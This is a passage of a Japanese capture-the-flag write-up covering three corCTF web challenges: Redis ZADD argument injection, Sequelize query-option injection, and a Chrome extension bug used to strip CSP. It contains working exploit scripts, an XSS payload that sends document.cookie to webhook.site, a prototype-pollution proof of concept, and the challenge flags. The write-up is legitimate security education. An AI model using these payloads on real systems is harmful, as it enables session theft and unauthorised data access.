        if (score === null) {
            return res.status(404).send({ error: 'game not found' });
        }
        await redis.zadd('scoreboard', score, username);
        return res.send({ system, score, state: 'end' });
    }
});

app.get('/scores', async (req, res) => {
    const result = await redis.zrevrange('scoreboard', 0, 99, 'WITHSCORES');
    const scores = [];
    for (let i = 0; i < result.length; i += 2) {
        scores.push([result[i], parseInt(result[i + 1], 10)]);
    }
    return res.send(scores);
});

app.get('/flag', async (req, res) => {
    try {
        await req.jwtVerify();
    } catch(e) {
        return res.status(400).send({ error: 'invalid token' });
    }
    const score = await redis.zscore('scoreboard', req.user.username);
    if (score && score > 1336) {
        return res.send(process.env.FLAG || 'corctf{test_flag}');
    }
    return res.send('You gotta beat Fizz!');
})

app.listen({ host: '0.0.0.0', port: 8080 }, (err, address) => console.log(err ?? `web/rock-paper-scissors listening on ${address}`));

ではどうチートをするか。まずJWTをいじることから考えるけれども、署名や検証に使われる鍵はとても推測ができないようになっているし、そもそもJWTを改変できたところで、そのペイロードに含まれているのはユーザ名と現在のゲームのIDのみだし、ゲームのスコア等の重要な情報はRedisに乗っている。

ソースコードを眺めていると、ユーザ登録処理において、ユーザから与えられたユーザ名が文字列であるか検証していないことに気づいた。これ以外でも、ランキングの登録処理等のユーザ名が参照されている処理のどれも、ユーザ名が文字列であるかを確認していない。

app.post('/new', async (req, res) => {
    const { username } = req.body;
    const game = randomBytes(8).toString('hex');
    await redis.set(game, 0);
    return res.setCookie('session', await res.jwtSign({ username, game })).send('OK');
});

たとえば、配列をユーザ名に入れるとどうなるだろうか。試しにユーザ登録をやってみると通った。また、これで発行されたJWTをCookieに入れたままじゃんけんをして負けると、シンタックスエラーが発生していると怒られた。どういうことだろうか。

$ curl -i 'http://localhost:8080/new' \
  -H 'Content-Type: application/json' \
  --data-raw '{"username":["poyo",123,"hoge",456]}'
…
OK

$ curl 'http://localhost:8080/play' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6WyJwb3lvIiwxMjMsImhvZ2UiLDQ1Nl0sImdhbWUiOiI3Njc5ZWE3ZTE1YWNhNmVhIiwiaWF0IjoxNzIyMDM5NDYzfQ.am9VfOa26bPy1jUmKWxA3Rny_WN2TPw519BO8SFiEZE' \
  --data-raw '{"position":"🪨"}'
{"statusCode":500,"error":"Internal Server Error","message":"ERR syntax error"}

/play のコードに例外処理を入れて、どんなエラーが発生しているかを見てみる。すると、以下のようなエラーが確認できた。どうやら await redis.zadd('scoreboard', score, username) において、ZADD コマンドの引数にそのまま先程の配列が展開されてしまっているらしい。

rock-paper-scissors-chall-1  | ReplyError: ERR syntax error
rock-paper-scissors-chall-1  |     at parseError (/app/node_modules/redis-parser/lib/parser.js:179:12)
rock-paper-scissors-chall-1  |     at parseType (/app/node_modules/redis-parser/lib/parser.js:302:14) {
rock-paper-scissors-chall-1  |   command: {
rock-paper-scissors-chall-1  |     name: 'zadd',
rock-paper-scissors-chall-1  |     args: [ 'scoreboard', '0', 'poyo', '123', 'hoge', '456' ]
rock-paper-scissors-chall-1  |   }
rock-paper-scissors-chall-1  | }

ありがたいことに、ZADD は任意の個数の引数を受け付ける。適当に1337点以上の得点をしたユーザをランキングに追加することもできるわけだ。

以下のようなPythonスクリプトを用意する。["poyo",12345,"hoge"] というユーザ名で登録してじゃんけんに負けると、ZADD scoreboard 0 poyo 12345 hoge のようなRedisのコマンドが実行される。そして、hoge というユーザでログインすると、自分が12345点を取ったことになっているのでフラグが得られる。

import httpx

with httpx.Client(base_url='…') as client:
    client.post('/new', json={
        "username": ["poyo",12345,"hoge"]
    })

    while True:
        r = client.post('/play', json={
            "position":"🪨"
        })
        if r.json()['state'] == 'end':
            break

    client.post('/new', json={
        "username": 'hoge'
    })
    r = client.get('/flag')
    print(r.text)

実行するとフラグが得られた。

corctf{lizard_spock!_a8cd3ad8ee2cde42}

[Web 151] erm (60 solves)

erm guys? why does goroo have the flag?

(問題サーバのURL)

添付ファイル: erm.tar.gz

チームCrusaders of Rustの紹介ページが与えられる。writeupやメンバーのリストも閲覧できるようだ。なお、writeupのリストではカテゴリで絞り込むことができ、このとき /writeups?category=forensics のようにクエリパラメータにフィルターの情報が入っている。

ソースコードを読んでいく。フラグがどこに格納されているか flag で検索して探してみると、Sequelizeを使ってモデルをまとめて定義したり、初期データを入れたりしている db.js というファイルに見つかった。goroo というBANされたメンバーがフラグを持っているらしい。

    // the forbidden member
    // banned for leaking our solve scripts
    const goroo = await Member.create({ username: "goroo", secret: process.env.FLAG || "corctf{test_flag}", kicked: true });
    const web = await Category.findOne({ where: { name: "web" } });
    await goroo.addCategory(web);
    await web.addMember(goroo);

メインのコードである app.js の全体は次の通り。メンバー一覧では where: { kicked: false } のように検索条件を付け加えることで、goroo が表示されないようになっている。1点気になることとして、/api/writeups では await db.Writeup.findAll(req.query) のようにして前述のカテゴリを使っての絞り込みが実現されているけれども、わざわざクエリパラメータ全部を与える必要はないのではないか。なにかマズいオプションを追加して、goroo の情報を含めることもできるのではないか。

const express = require("express");
const hbs = require("hbs");

const app = express();

const db = require("./db.js");

const PORT = process.env.PORT || 5000;

app.set("view engine", "hbs");

// catches async errors and forwards them to error handler
// https://stackoverflow.com/a/51391081
const wrap = fn => (req, res, next) => {
    return Promise
        .resolve(fn(req, res, next))
        .catch(next);
};

app.get("/api/members", wrap(async (req, res) => {
    res.json({ members: (await db.Member.findAll({ include: db.Category, where: { kicked: false } })).map(m => m.toJSON()) });
}));

app.get("/api/writeup/:slug", wrap(async (req, res) => {
    const writeup = await db.Writeup.findOne({ where: { slug: req.params.slug }, include: db.Member });
    if (!writeup) return res.status(404).json({ error: "writeup not found" });
    res.json({ writeup: writeup.toJSON() });
}));

app.get("/api/writeups", wrap(async (req, res) => {
    res.json({ writeups: (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a,b) => b.date - a.date) });
}));

app.get("/writeup/:slug", wrap(async (req, res) => {
    res.render("writeup");
}));

app.get("/writeups", wrap(async (req, res) => res.render("writeups")));

app.get("/members", wrap(async (req, res) => res.render("members")));

app.get("/", (req, res) => res.render("index"));

app.use((err, req, res, next) => {
    console.log(err);
    res.status(500).send('An error occurred');
});

app.listen(PORT, () => console.log(`web/erm listening on port ${PORT}`));

Sequelizeのドキュメントを元に、適当にオプションを追加できるか試してみる。試しに /api/writeups?attributes[]=date へアクセスしてみると、確かにオプションの操作ができており、db.Writeup.findAll({ attributes: ['date'] }) 相当のレスポンスが返ってきた。これでなんとかして goroo のすべての情報を抜き出せないだろうか。

$ curl localhost:5000/api/writeups?attributes[]=date
{"writeups":[{"date":"2023-12-16T00:00:00.000Z"},{"date":"2023-11-24T00:00:00.000Z"},{"date":"2023-09-16T00:00:00.000Z"},{"date":"2023-08-06T00:00:00.000Z"},{"date":"2023-05-13T00:00:00.000Z"},{"date":"2023-05-10T00:00:00.000Z"},{"date":"2022-12-26T00:00:00.000Z"},{"date":"2022-05-24T00:00:00.000Z"},{"date":"2022-03-22T00:00:00.000Z"},{"date":"2021-12-18T00:00:00.000Z"},{"date":"2021-11-14T00:00:00.000Z"},{"date":"2021-08-17T00:00:00.000Z"},{"date":"2021-07-25T00:00:00.000Z"},{"date":"2021-05-06T00:00:00.000Z"},{"date":"2021-03-21T00:00:00.000Z"},{"date":"2021-03-17T00:00:00.000Z"},{"date":"2021-01-13T00:00:00.000Z"},{"date":"2020-12-18T00:00:00.000Z"},{"date":"2020-11-29T00:00:00.000Z"},{"date":"2020-11-09T00:00:00.000Z"},{"date":"2020-06-29T00:00:00.000Z"},{"date":"2020-05-08T00:00:00.000Z"},{"date":"2020-04-12T00:00:00.000Z"},{"date":"2020-03-18T00:00:00.000Z"},{"date":"2020-01-12T00:00:00.000Z"}]}

UNIONJOIN 相当のことがSequelizeの findAll 中でできないか。SequelizeのAPIリファレンスを眺めていると、includeon といったまさにこのために使えそうな機能が見つかる。今回の検索対象は Writeup というモデルであるわけだが MemberJOIN 相当のことをしてくっつけつつ、また goroo はwriteupを1個も書いていないわけだけれども、ON に相当するオプションをいじって強引にくっつけることはできないか。

実行されたSQLが出力されるようにいじりつつ、目的のことができるまで色々試す。/api/writeups?include[association]=Member&include[or]=true&include[where][username]=goroo でフラグが得られた。

corctf{erm?_more_like_orm_amiright?}

[Web 265] corctf-challenge-dev (17 solves)

fizzbuzz keeps pinging me to make challenges, but im too busy! can you make one for me and get him off my back?

(InstancerのURL)

添付ファイル: corctf-challenge-dev.tar.gz

問題の概要

CTFの問題を作るためのWebアプリ、と言いつつ普通のメモアプリが与えられる。このメモアプリ自体は普通の作りとしか言いようがない。適当なメモを入力すると /challenge/67d118680fae のようにランダムなパーマリンクが生成され、ここから閲覧できるというような感じ。

メモの閲覧ページに自明なHTML Injectionがある。

ただ、以下のコードからも分かるようにCSPが設定されており、script-src についてはnonce-basedになっており、このままではXSSに持ち込めそうにない。

    res.setHeader(
        "Content-Security-Policy",
        `base-uri 'none'; script-src 'nonce-${nonce}'; img-src *; font-src 'self' fonts.gstatic.com; require-trusted-types-for 'script';`
    );

さて、案の定ユーザがURLを通報するとChromiumで巡回してくれるadmin botがついているわけだけれども、これはどのような挙動をするか。admin botのコードのうち特に重要な部分は次の通り。Cookieにフラグを格納しているらしい。なんとかして問題サーバ上でXSSを見つけて document.cookie を盗み出す必要がありそうだ。さて、それよりも重要なのが --load-extension オプションが付与されていることだ。同ディレクトリの extension ディレクトリ下にある拡張機能を読み込んでいるらしい。

        browser = await puppeteer.launch({
            headless: "new",
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                `--disable-extensions-except=${ext}`,
                `--load-extension=${ext}`
            ],
            dumpio: true
        });

        const page = await browser.newPage();
        await page.goto(ORIGIN, { timeout: 5000, waitUntil: 'networkidle2' });

        page.evaluate((flag) => {
            document.cookie = "flag=" + flag;
        }, FLAG);

        // go to exploit page
        await page.goto(url, { timeout: 5000, waitUntil: 'networkidle2' });
        await sleep(30_000);

extension 下には FizzBlock101 という拡張機能があった。manifest.json は次の通り。バックグラウンドでService Workerとして常に request_handler.js が動いているほか、開いているWebページのコンテキストにおいて動くコンテンツスクリプトとして、form_handler.js が動くことがわかる。ほか、要求されているパーミッションに declarativeNetRequest があり、拡張機能の名前や説明文からも推測できるようにリクエストやレスポンスの改変を行うのだろうなあと思う。

{
  "manifest_version": 3,
  "name": "FizzBlock101",
  "description": "Mandatory CoR management extension. Blocks subversive, unpatriotic elements.",
  "version": "1.0",
  "action": {
    "default_icon": "fizzbuzz.png"
  },
  "permissions": [
    "storage",
    "tabs",
    "declarativeNetRequest"
  ],
  "host_permissions": [
    "<all_urls>"
  ],
  "background": {
      "service_worker": "js/request_handler.js"
  },
  "content_scripts": [
    {
      "js": [
        "js/lodash.min.js",
        "js/form_handler.js"
      ],
      "css": [
        "css/modal.css"
      ],
      "matches": [
        "<all_urls>"
      ]
    }
  ]
}

コンテンツスクリプトの form_handler.js について見ていこう。まず、このスクリプトはどのWebページにも次のようなHTMLを挿入する。対象のWebページにおいて、どのURLへのリクエストをブロックするかというフォームだ。

                 <div class="modal-content">
                    <span class="close">&times;</span>
                    <form id='block-options'>
                        <fieldset>
                            <legend>Block URL</legend>
                            <label for='priority'>Priority:</label>
                            <input type='text' id='priority' name='priority'>
                            <div id='condition'>
                                <label for='urlFilter'>Blocked URL:</label>
                                <input type='text' id='urlFilter' name='condition.urlFilter'><br>
                            </div>
                            <button type='button' id='submit-btn' class='fizzblock'>Add URL!</button>
                        </fieldset>
                    </form>
                  </div>

ルールの適用時には次のような処理が走る。chrome.storage.local という拡張機能向けのストレージにおいて、そのページのオリジンをキーとして、フォームで入力された内容を保存しているようだ。

const origin = window.location.origin;

const base_rule = {
    "action": {
        "type": "block",
        "redirect": {},
        "responseHeaders": [],
        "requestHeaders": []
    },
    "condition": {
        "initiatorDomains": [origin],
        "resourceTypes": ['image', 'media', 'script']
    }
};

function serializeForm(items) {
    const result = {};
    items.forEach(([key, value]) => {
        const keys = key.split('.');
        let current = result;
        for (let i = 0; i < keys.length - 1; i++) {
            const k = keys[i];
            if (!(k in current)) {
                current[k] = {};
            }
            current = current[k];
        }
        current[keys[keys.length - 1]] = isNaN(value) ? value : Number(value);
    });

    return result;
}
// …
modal.querySelector('#submit-btn').addEventListener('click', async () => {
    const obj = serializeForm(Array.from(new FormData(document.getElementById('block-options'))));
    const merged_obj = _.merge(base_rule, obj);

    chrome.storage.local.get(origin).then((data) => {
        let arr = data[origin];
        if (arr == null) {
            arr = [];
        }
        arr.push(merged_obj);
        console.log(merged_obj);
        chrome.storage.local.set(Object.fromEntries([[origin, arr]]));
    });
});

request_handler.js は次の通り。ソースコードの全体を載せている。chrome.tabs.onUpdated を使ってタブの更新時に registerRules が走るようになっている。走る条件として tab.url.indexOf(tab.index > -1) というものも含まれるが、これは何がしたいのかわからない。なぜ indexOf の引数に Boolean を与えているのかということからわからないし、tab.url.indexOf(tab.index) > -1 の誤りだったとしてもわからない。

registerRules は何をしているか。これは chrome.declarativeNetRequest.updateDynamicRules によって、各タブで開いているページのオリジンに対応するリクエストのブロックや変更のルールを適用している。これはタブごとでなくグローバルに適用されてしまうので、あるオリジンでのみ適用されるべきルールが、新たに開いた別のオリジンのページでも適用されないようにすべく、タブが切り替わるごとにいちいち removeRuleIds でルールを削除している。

なお、registerRules 中でルールの参照元として chrome.storage.local.get(url) が使われている。コンテンツスクリプトで参照されていたやつだ。ほか、初期設定として問題サーバのオリジン向けに3つのルール(rules)が設定されていることがわかる。

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
    if (changeInfo.status == 'loading' && tab.url.indexOf(tab.index > -1)) {
        const origin = (new URL(tab.url)).origin;
        registerRules(origin);
    }
});

const registerRules = (url) => {
    chrome.storage.local.get(url).then((data) => {
        const arr = data[url];
        if (arr != null) {
            for (let i = 0; i < arr.length; i++) {
                const rule = arr[i];
                rule['id'] = i+1;
                chrome.declarativeNetRequest.updateDynamicRules({
                    addRules: [
                        rule
                    ],
                    removeRuleIds: [i+1]
                });
            }
        }
    });
};

// rules for corctf-challenge-dev.be.ax
const rules = [
{
    "action": { // fizzbuzz hates microsoft!
        "type": "block",
        "redirect": {},
        "responseHeaders": [],
        "requestHeaders": []
    },
    "condition": {
        "initiatorDomains": ["corctf-challenge-dev.be.ax"],
        "resourceTypes": ['image', 'media', 'script'],
        "urlFilter": "https://microsoft.com*"
    }
},
{
    "action": { // block subdomains too
        "type": "block",
        "redirect": {},
        "responseHeaders": [],
        "requestHeaders": []
    },
    "condition": {
        "initiatorDomains": ["corctf-challenge-dev.be.ax"],
        "resourceTypes": ['image', 'media', 'script'],
        "urlFilter": "https://*.microsoft.com*"
    }
},
{
    "action": { // fizzbuzz hates systemd!
        "type": "block",
        "redirect": {},
        "responseHeaders": [],
        "requestHeaders": []
    },
    "condition": {
        "initiatorDomains": ["corctf-challenge-dev.be.ax"],
        "resourceTypes": ['image', 'media', 'script'],
        "urlFilter": "https://systemd.io*"
    }
}
];

chrome.storage.local.set({"https://corctf-challenge-dev.be.ax": rules});

脆弱性を探す

ソースコードを眺めていると、request_handlers.js 中の registerRules の実装が怪しいことに気づいた。ここで arr に入っているのは新たに開かれたページのオリジンに対応するルールのリストだけれども、削除するルールのIDはこの arr.length に基づいている。これはおかしく、新たに適用されるルールの個数でなく、適用済みのルールの個数だけルールを削除しなければならないのではないか。

元のページで10個のルールが適用されており、新たなページで適用されるべきルールは3個だとする。このとき、元から適用されていたルールのうち最初の3つについては削除されるけれども、残りの7つは適用されたままになるのではないか。

const registerRules = (url) => {
    chrome.storage.local.get(url).then((data) => {
        const arr = data[url];
        if (arr != null) {
            for (let i = 0; i < arr.length; i++) {
                const rule = arr[i];
                rule['id'] = i+1;
                chrome.declarativeNetRequest.updateDynamicRules({
                    addRules: [
                        rule
                    ],
                    removeRuleIds: [i+1]
                });
            }
        }
    });
};

chrome.declarativeNetRequest.updateDynamicRules では、レスポンスヘッダの変更や削除までできる。発見した脆弱性と組み合わせて、問題サーバ上でレスポンス中に含まれるCSPヘッダを削除させることで、HTML InjectionをXSSに発展させられるのではないか。

さて、exploitを書きたいけれども、その前にルールを攻撃用のページ側から追加する仕組みを考える必要がある。もっとも、これは簡単だ。コンテンツスクリプトによってどのページにもルールの追加用のフォームが挿入される。もちろん、攻撃用のページに含まれるスクリプトからも document.getElementsByClassName('fizzblock') のようにして、このページに追加されたフォームへアクセスできる。適当に input を追加したり、追加ボタンをクリックしたりすればよい。

できあがったexploitは次の通り。事前に問題サーバで <script>(new Image).src = 'https://webhook.site/…?' + document.cookie</script> のようなXSSのペイロードを含むメモを作っておき、phase3 で遷移される先のURLをそのメモのものに置き換えておく必要がある。

<body>
<script>
function wait(ms) {
    return new Promise(r => setTimeout(r, ms));
}

// 1. コンテンツスクリプトが読み込まれて、フォームがページに追加されるのを待つ
function phase1() {
    const timer = setInterval(() => {
        const fizzblock = document.getElementsByClassName('fizzblock');
        if (fizzblock.length === 2) {
            clearInterval(timer);
            phase2(fizzblock);
        }
    }, 50);
}

// 2. CSPを削除するルールを10個追加する
const BASE = 'http://localhost:8080';
async function phase2(fizzblocks) {
    const [modalButton, submitButton] = fizzblocks;
    modalButton.click();

    const options = document.getElementById('block-options');
    options.innerHTML = '';

    function addOption(name, value) {
        const input = document.createElement('input');
        input.name = name;
        input.value = value;
        options.appendChild(input);
    }

    addOption('action.type', 'modifyHeaders');

    addOption('action.requestHeaders.0.header', 'nyan');
    addOption('action.requestHeaders.0.operation', 'set');
    addOption('action.requestHeaders.0.value', 'nyan');

    addOption('action.responseHeaders.0.header', 'Content-Security-Policy');
    addOption('action.responseHeaders.0.operation', 'remove');

    addOption('condition.initiatorDomains.0', '(攻撃者のサーバのドメイン名)');
    addOption('condition.urlFilter', BASE + '/*');

    addOption('condition.resourceTypes.0', 'image');
    addOption('condition.resourceTypes.1', 'media');
    addOption('condition.resourceTypes.2', 'script');
    addOption('condition.resourceTypes.3', 'main_frame');
    addOption('condition.resourceTypes.4', 'sub_frame');

    for (let i = 0; i < 10; i++) {
        submitButton.click();
        await wait(100);
    }

    window.addEventListener('hashchange', phase3);
    location.href = '#a'; // chrome.tabs.onUpdatedを発火させ、このページのルールを適用させる
}

// 3. 準備完了。XSSさせる
async function phase3() {
    await wait(1000);
    location.href = BASE + "/challenge/875abe4e1796"; // XSSのペイロードを仕込んだメモのパス
}

phase1();
</script>
</body>

exploitをホストしているURLを通報するとフラグが得られた。

corctf{homerolled_propaganda_extension_more_like_homerolled_attack_vector}

実は form_handler.js にはPrototype Pollutionが存在している。次のようなHTMLによって、拡張機能のコンテキストでPrototype Pollutionできる…のだが、結局使わなかった。非想定の解法で解いてしまったのか、それともこれは意図しないバグだったのかはわからない。

<body>
<script>
function phase2(fizzblocks) {
    const [modalButton, submitButton] = fizzblocks;
    modalButton.click();

    const input = document.getElementById('priority');
    input.name = '__proto__.hoge';
    input.value = 'neko';
    submitButton.click();
}

const timer = setInterval(() => {
    const fizzblock = document.getElementsByClassName('fizzblock');
    if (fizzblock.length === 2) {
        clearInterval(timer);
        phase2(fizzblock);
    }
}, 50);
</script>
</body>

手元での検証時には、次のような感じでやっていた:

  1. npx @puppeteer/browsers install chrome@stable でChromeをインストール
  2. ~/chrome/linux-127.0.6533.72/chrome-linux64/chrome --disable-extensions-except=./extension/ --load=extension=./extension/ のような感じでChromeを起動
  3. rm -rf ~/.config/google-chrome-for-testing/ で環境をリセット

*1:夜にやれとか、たかが数百メートルだろとかいった意見は受け付けない

*2:昨年の同様の問題ではbotの名前はcodegate-anticheat.sysだったらしく、なかなか、こう、すごい